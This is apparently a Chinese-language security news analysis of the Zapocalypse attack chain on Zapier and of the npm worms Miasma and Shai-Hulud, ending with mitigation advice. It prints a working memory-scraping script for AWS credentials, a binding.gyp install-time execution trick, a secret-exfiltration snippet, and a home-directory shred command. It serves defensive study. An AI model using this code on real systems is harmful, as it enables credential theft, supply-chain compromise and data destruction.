摘要

這份報告針對 Zapocalypse 攻擊鏈提供了全面的技術分析,這是一個由五個步驟組成的漏洞鏈,可能導致 Zapier 平台上發生完全帳號接管 (Account TakeOver, ATO)。攻擊從一個沙箱化的 Python 程式碼區塊開始,逐步升級以取得 node package manager (NPM) 的發佈權限,進而將攻擊者控制的 JavaScript 注入到每個已驗證的 Zapier 使用者瀏覽器中。本報告詳細說明了攻擊的每個階段,分析了底層的技術漏洞,並提供了緩解此類複雜供應鏈威脅所需的防禦措施見解。報告中包含了程式碼分析和架構圖,用以說明攻擊向量及其對現代雲端平台的影響。

del 真的刪除了嗎?Zapocalypse 揭露 Zapier 帳號接管的殘酷真相! | 資訊安全新聞

1. 簡介

對雲端自動化平台和第三方整合的依賴日益增加,擴大了組織的攻擊面,使得供應鏈攻擊成為一個重大的安全隱憂。由 Token Security 發現的 Zapocalypse 攻擊鏈,正是說明了如何將一系列看似微不足道的漏洞串聯起來,以實現高衝擊性的入侵 [1] 。報告深入探討了此攻擊的技術細節,該攻擊始於 Zapier 免費方案中一個沙箱化的 Python 程式碼執行環境,最終導致 Zapier 的 NPM 發佈權限遭到入侵。我們的目標是提供攻擊方法的詳細技術剖析,分析每個階段的影響,並討論其對雲端安全與供應鏈完整性的更廣泛啟示。我們也將與其他涉及 NPM 套件的供應鏈攻擊進行比較,以提供對不斷演變的威脅情勢的全面理解。

2. 攻擊鏈分析

Zapocalypse 攻擊鏈是一個五階段的過程,展示了攻擊者如何透過利用一系列看似獨立的漏洞來提升權限並控制關鍵基礎設施。每個階段都建立在先前階段的成功之上,最終可能導致完整的平台帳號接管。

2.1. 階段 1:逃脫程式碼區塊沙箱

攻擊的初始進入點是「Code by Zapier」功能,該功能允許使用者在 Zap 中執行任意 Python 或 JavaScript 程式碼。Token Security 研究團隊首先測試了此沙箱環境的能力。他們使用了一個簡單的 Python 腳本來判斷是否可執行系統指令 [1]

  1. import os
  2. os.system('env')

執行此指令後,揭露了底層環境的關鍵資訊,特別是該程式碼是在 AWS Lambda 上執行,使用 python3.11 ,位於 us-east-1 區域。關鍵的是,通常與 AWS 認證相關的環境變數( AWS_ACCESS_KEY_ID , AWS_SECRET_ACCESS_KEY , AWS_SESSION_TOKEN )並未立即顯示。這個觀察結果促使他們進一步研究 Zapier 如何在其 Lambda 函數中處理認證 [1]

透過列出 /var/task 的內容並檢查 lambda_function.py ,進一步的分析顯示,使用者提供的 Python 程式碼是透過 exec() 在與先前持有 AWS 認證的相同程序中執行的。一個關鍵發現是 lambda_function.py 中的註解,指出環境變數是刻意被清除的:

# 注意 - 這不是安全性措施,因為我們傳遞了一個 allow_nothing 角色 - 只是為了避免回應數十個惱人的誤報安全性報告

這個註解凸顯了 Zapier 所做的兩個關鍵假設:第一, del os.environ[k] 能有效移除認證;第二,被命名為 allow_nothing_role 的指派 IAM 角色確實限制了所有權限。事實證明,這兩個假設都是不正確的,為後續的攻擊階段奠定了基礎 [1]

2.2. 階段 2: del 並非刪除 (認證復原)

攻擊的第二個階段利用了對 Python 的 del os.environ[k] 如何運作的根本誤解。雖然此指令會從程序的環境區塊和 Python 的 os.environ 映射中移除環境變數,但它不會覆寫儲存認證值的記憶體。這些敏感的位元組——包括 STS access keys, secrets, and session tokens——仍然留在程序的位址空間中,有可能被復原 [1]

這個漏洞因 AWS Lambda 的暖啟動機制而加劇,在該機制中,容器會處理跨不同使用者的多次呼叫(Invocation)。這種設計增加了先前呼叫的認證在記憶體中持續存在的可能性,使其可被後續的、可能是惡意的程式碼執行所存取。此漏洞利用 /proc/self/mem (一個提供程序記憶體存取權限的 Linux 偽檔案),結合正規表示式來抓取這些孤立的認證 [1]

用於認證復原的 Python 腳本如下:

  1. # extract_secrets_from_memory.py — runs inside the Zapier code block
  2. import re
  3. def scan_process_memory():
  4. results = {}
  5. try:
  6. with open('/proc/self/maps', 'r') as f:
  7. results['maps'] = f.read()[:2000]
  8. except Exception as e:
  9. results['maps_error'] = str(e)
  10. patterns = {
  11. 'aws_key_id': rb'(?:AKIA|ASIA)[0-9A-Z]{16}',
  12. 'aws_secret': rb'(AWS_SECRET_ACCESS_KEY=[^\x00]+)',
  13. 'aws_session': rb'AWS_SESSION_TOKEN=([A-Za-z0-9+/=]{100,1000})',
  14. 'iqoj_token': rb'(IQoJ[A-Za-z0-9+/=]{200,1000})',
  15. }
  16. MAX_REGION_SIZE = 10_000_000
  17. try:
  18. with open('/proc/self/mem', 'rb') as mem, \
  19. open('/proc/self/maps', 'r') as maps:
  20. for line in maps:
  21. parts = line.split()
  22. if 'r' not in parts[1]:
  23. continue
  24. start, end = (int(x, 16) for x in parts[0].split('-'))
  25. if end - start > MAX_REGION_SIZE:
  26. continue
  27. try:
  28. mem.seek(start)
  29. data = mem.read(end - start)
  30. except Exception:
  31. continue
  32. for name, pattern in patterns.items():
  33. for match in re.finditer(pattern, data):
  34. value = (match.group(1) if match.lastindex else match.group(0))
  35. decoded = value[:1000].decode(errors='ignore')
  36. results.setdefault(name, []).append(decoded)
  37. except Exception as e:
  38. results['mem_error'] = str(e)
  39. return {"A": str(results)}
  40. return scan_process_memory()

這個腳本有效地掃描程序記憶體,尋找與 AWS 認證和 Session Token 對應的特定正規表示式樣式。此腳本的成功執行產生了有效的認證,證明了不可復原的假設是錯誤的。復原的認證屬於 allow_nothing_role ,為攻擊的下一階段做好了準備 [1]

2.3. 階段 3: allow_nothing_role 允許了很多事情 (橫向移動)

儘管名稱如此, allow_nothing_role 被發現擁有顯著的權限,能夠在 Zapier 的 AWS 環境中進行橫向移動。Token Security 團隊使用 enumerate-iam 工具,利用復原的認證對 AWS 的唯讀/僅列出 API 表面進行暴力破解。結果顯示該角色擁有諸如 ecr.describe_repositories() dynamodb.describe_endpoints() sts.get_caller_identity() iam.get_account_password_policy() 等權限 [1]

最關鍵的發現是 ecr:DescribeRepositories 權限,當它與其他 ECR 權限(如 ecr:BatchGetImage ecr:ListImages ecr:GetDownloadUrlForLayer )結合時,授予了對 Zapier 私有容器登錄檔的讀取存取權。列出儲存庫後發現了驚人的 1,111 個項目(Entry),顯示 Zapier 的容器基礎設施內存在廣泛的攻擊面 [1]

然而,使用標準的 Docker 流程(涉及 aws ecr get-login-password )直接 pull images 失敗了,因為發生了 AccessDeniedException ,提示缺少 ecr:GetAuthorizationToken 權限。這表明雖然該角色可以列舉儲存庫,但它缺乏取得 pull images 所需之身分驗證 Token 的特定權限。這種部分存取權限凸顯了驗證實際權限的重要性,而不能僅依賴於角色名稱 [1]

2.4. 階段 4:Secret Hunting

由於無法直接 pull images,因此需要採用不同的方法來進行 Secret Hunting。攻擊者將重點轉向從容器建置 metadata 中提取 Secret,這些 metadata 在建置過程中經常包含無意間暴露的敏感資訊。這個階段涉及分析 ECR 儲存庫的內容,以尋找洩漏的認證或其他有價值的 Secret [1]

攻擊者將繼續探索可存取的 ECR 儲存庫,尋找設定錯誤或容器映像檔本身內暴露的秘密。這可能包括尋找硬編碼的 API 金鑰、包含敏感資料的設定檔案,或其他可用於進一步提升權限或存取的 Artifacts [1]

2.5. 階段 5:供應鏈觸及範圍

攻擊的最終目標是取得 zapier-design-system 的發佈權限,這是一個私有的 NPM 套件,會將 JavaScript 注入到每個已驗證的 Zapier 使用者瀏覽器中。入侵此套件將允許攻擊者發佈一個被竄改的版本,其中包含攻擊者控制的 JavaScript。此惡意程式碼隨後可以在每個已驗證的 Zapier 工作階段中執行,導致完整的平台帳號接管 (ATO) [1]

這個階段代表了攻擊鏈的巔峰,將初始的沙箱逃脫轉變為大規模的供應鏈入侵。能夠將任意 JavaScript 注入使用者工作階段,為攻擊者提供了巨大的權力,包括可能:

  • 竊取使用者認證和 Session Token。
  • 操控使用者介面並將使用者重新導向至惡意網站。
  • 在 Zapier 平台內代表使用者執行動作。

此攻擊突顯了保護軟體供應鏈的至關重要性,特別是對於那些被廣泛分發並在使用者環境中執行的元件。此類入侵的影響不僅限於個別使用者帳戶,還可能影響平台的所有使用者 [1]

3. 與 NPM 供應鏈攻擊的比較分析

Zapocalypse 攻擊與其他近期發生的 NPM 供應鏈入侵事件有幾個共同特徵,凸顯了常見的漏洞和攻擊者方法。例如,hoeasys.com 詳細報導的 TanStack 事件和 Miasma 蠕蟲,在初始感染向量、認證外洩和自我傳播機制方面提供了有價值的比較 [2] [3]

3.1. 初始感染向量與規避

雖然 Zapocalypse 利用了沙箱化的 Python 環境,但其他 NPM 供應鏈攻擊通常利用不同的初始向量。例如,Miasma 蠕蟲利用了一種名為「Phantom Gyp」的新技術來規避傳統上專注於 package.json scripts 的安全措施 [3] 。此技術涉及將惡意指令嵌入 binding.gyp 檔案中,該檔案在套件安裝期間由 node-gyp rebuild 自動處理,無需在 package.json 中明確宣告 scripts [3]

  1. {
  2. "targets": [
  3. {
  4. "target_name": "Setup",
  5. "type": "none",
  6. "sources": [
  7. "<!(node index.js > /dev/null 2>&1 && echo stub.c)"
  8. ]
  9. }
  10. ]
  11. }

這段程式碼片段展示了如何操縱通常用於列出源代碼檔案的 sources 陣列,透過指令替代來執行 node index.js 。這允許在建置過程中執行程式碼,從而有效地繞過旨在監控顯式 preinstall postinstall hooks 的安全工具 [3]

3.2. Miasma 蠕蟲攻擊鏈

Miasma 蠕蟲的攻擊鏈是一個多階段過程,旨在隱蔽執行、認證竊取和自我傳播。以下序列圖說明了 Miasma 蠕蟲攻擊的流程 [3]

sequenceDiagram participant User as User/CI System participant NPM as npm Registry participant MaliciousPackage as Malicious Package participant NodeGyp as node-gyp participant AttackerC2 as Attacker C2 (GitHub) User->>NPM: npm install malicious-package NPM-->>User: Downloads Malicious Package MaliciousPackage->>NodeGyp: Contains binding.gyp NodeGyp->>MaliciousPackage: Reads binding.gyp NodeGyp->>MaliciousPackage: Executes `node index.js` via command substitution MaliciousPackage->>MaliciousPackage: Downloads Bun runtime (curl) MaliciousPackage->>MaliciousPackage: Extracts Bun runtime (unzip) MaliciousPackage->>MaliciousPackage: Launches payload via Bun (`bun run payload.js`) MaliciousPackage->>MaliciousPackage: Attempts `gh auth token` MaliciousPackage->>MaliciousPackage: Executes `sudo python3` MaliciousPackage->>MaliciousPackage: Reads `Runner.Worker` memory (`/proc/PID/mem`) MaliciousPackage->>AttackerC2: Exfiltrates stolen credentials (GitHub API) AttackerC2-->>MaliciousPackage: Confirms exfiltration MaliciousPackage->>NPM: Publishes new malicious versions (self-propagation)

此圖說明了由 binding.gyp 觸發的初始執行、部署合法的 Bun 執行環境以執行 payload,以及隨後使用 gh auth token 和直接從 Runner.Worker 程序讀取記憶體來竊取認證。竊取的認證隨後被外洩到攻擊者控制的 GitHub 儲存庫,展示了一個複雜的多階段攻擊 [3]

3.3. Shai-Hulud 蠕蟲與認證外洩

Shai-Hulud 蠕蟲是另一個進階的 NPM 供應鏈威脅,也展現了類似蠕蟲的傳播能力和複雜的規避技術。與 Miasma 的 Phantom Gyp 不同,Shai-Hulud 主要使用惡意的 preinstall scripts 和高度混淆的 payload [4] 。然而,這兩種蠕蟲都利用合法的工具和多階段載入過程來逃避偵測。

Shai-Hulud 特別以其全面的認證收集能力而聞名,積極搜尋 GitHub、npm、AWS、GCP 和 Azure 等主要平台的 Token。它經常利用合法的安全工具(如 Trufflehog)進行深度的檔案系統掃描來實現此目的 [4]

  1. // Shai-Hulud filesystem scanning snippet [4]
  2. async function scanFilesystem() {
  3. let scanner = new Trufflehog();
  4. await scanner.initialize();
  5. // Scan user's home directory for secrets
  6. let findings = await scanner.scanFilesystem(os.homedir());
  7. // Upload findings to exfiltration repo
  8. await github.saveContents("truffleSecrets.json",
  9. JSON.stringify(findings));
  10. }

此程式碼片段說明了 Shai-Hulud 如何利用掃描器識別並從檔案系統中提取秘密,隨後將這些發現上傳到外洩儲存庫。這種利用合法工具進行惡意目的的方法是複雜供應鏈攻擊中的常見策略 [4]

Miasma 和 Shai-Hulud 都展示了自我傳播的能力。Miasma 向 npm 發佈受感染套件的新惡意版本 [3] ,而 Shai-Hulud 則使用竊取的 npm Token 下載受害者套件、注入其載入器、增加版本號,然後重新發佈它們 [4]

一個特別令人擔憂的共同特徵是包含了破壞性 payload。例如,Shai-Hulud 包含了一個「Dead man's switch」,如果它失去了對其 GitHub 和 npm 基礎設施的存取權,就會觸發資料銷毀。這涉及在 Unix 上使用 shred 或在 Windows 上使用 cipher /W 等工具,使復原幾乎不可能 [4]

  1. // Shai-Hulud Dead Man's Switch snippet [4]
  2. async function aL0() {
  3. // ... (Authentication checks) ...
  4. // DESTRUCTION TRIGGER: No GitHub AND no NPM access
  5. if (!fetchedToken && !npmToken) {
  6. console.log("Error 12");
  7. if (process.platform === "win32") {
  8. // Attempts to delete all user files and overwrite disk sectors
  9. // ... (Windows specific commands)
  10. } else {
  11. // Attempts to shred all writable files in home directory
  12. Bun.spawnSync(["bash", "-c",
  13. "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
  14. "xargs -0 -r shred -uvz -n 1 && " +
  15. "find \"$HOME\" -depth -type d -empty -delete"
  16. ]);
  17. }
  18. process.exit(0);
  19. }
  20. }

此片段展示了此類惡意軟體中嵌入的破壞能力,突顯了成功供應鏈攻擊的嚴重後果 [4]

4. 緩解策略

為了防禦像 Zapocalypse、Miasma 和 Shai-Hulud 這類複雜的供應鏈攻擊,多層次的方法至關重要。基於對這些事件的分析,建議採用以下緩解策略:

  • 最小權限原則: 對 CI/CD 環境和開發工作站實施嚴格的 least privilege 政策。這透過限制網路出口和對敏感資源的存取來限制入侵的影響,從而防止資料外洩和進一步傳播 [1] [3]
  • 行為分析: 安全工具必須發展出更深入的套件安裝過程行為分析能力,超越顯式的 script 宣告。這包括偵測異常活動,例如意外的網路請求或權限提升嘗試 [3]
  • Dependency 稽核: 定期且徹底地稽核所有Dependency ,包括傳遞性 Dependency 。能夠分析 binding.gyp 檔案和其他 build configuration 中可疑指令的工具至關重要 [3]
  • 執行時期監控: 持續的執行時期監控提供程序執行和網路事件的即時可視性,能夠快速偵測和回應供應鏈攻擊 [3]
  • 供應鏈完整性: 為套件實施強大的加密簽章,並在整個供應鏈中驗證套件完整性,以確保下載的套件未被竄改。
  • Secret 管理: 安全地管理和輪換所有 Secret,包括 API 金鑰、Token 和認證。確保 Secret 絕不會被硬編碼或暴露在建置 artifacts 或記憶體中。
  • OIDC Token 範圍限定: 對於 GitHub Actions 工作流程,configure fine-grained OIDC Token 權限。對於不需要 OIDC 發佈的工作流程,設定 permissions: id-token: none ,並僅將 id-token: write 權限限制於特定的發佈任務 [2]

5. 結論

Zapocalypse 攻擊鏈,以及其他複雜的 NPM 供應鏈入侵事件(如 Miasma 和 Shai-Hulud 蠕蟲),強烈提醒了我們軟體生態系統面臨持續且不斷演變的威脅。這些事件說明了攻擊者如何利用看似微不足道的漏洞和設定錯誤來實現重大入侵,範圍從認證竊取到完整的平台帳號接管,甚至資料銷毀。利用沙箱環境、透過「Phantom Gyp」等新穎技術繞過傳統安全控制,以及利用合法工具進行惡意目的的能力,突顯了採取主動且適應性強的安全態勢的必要性。通過理解這些進階的攻擊向量並實施全面、多層次的緩解策略,組織可以顯著增強其面對持續存在的供應鏈入侵威脅的復原能力。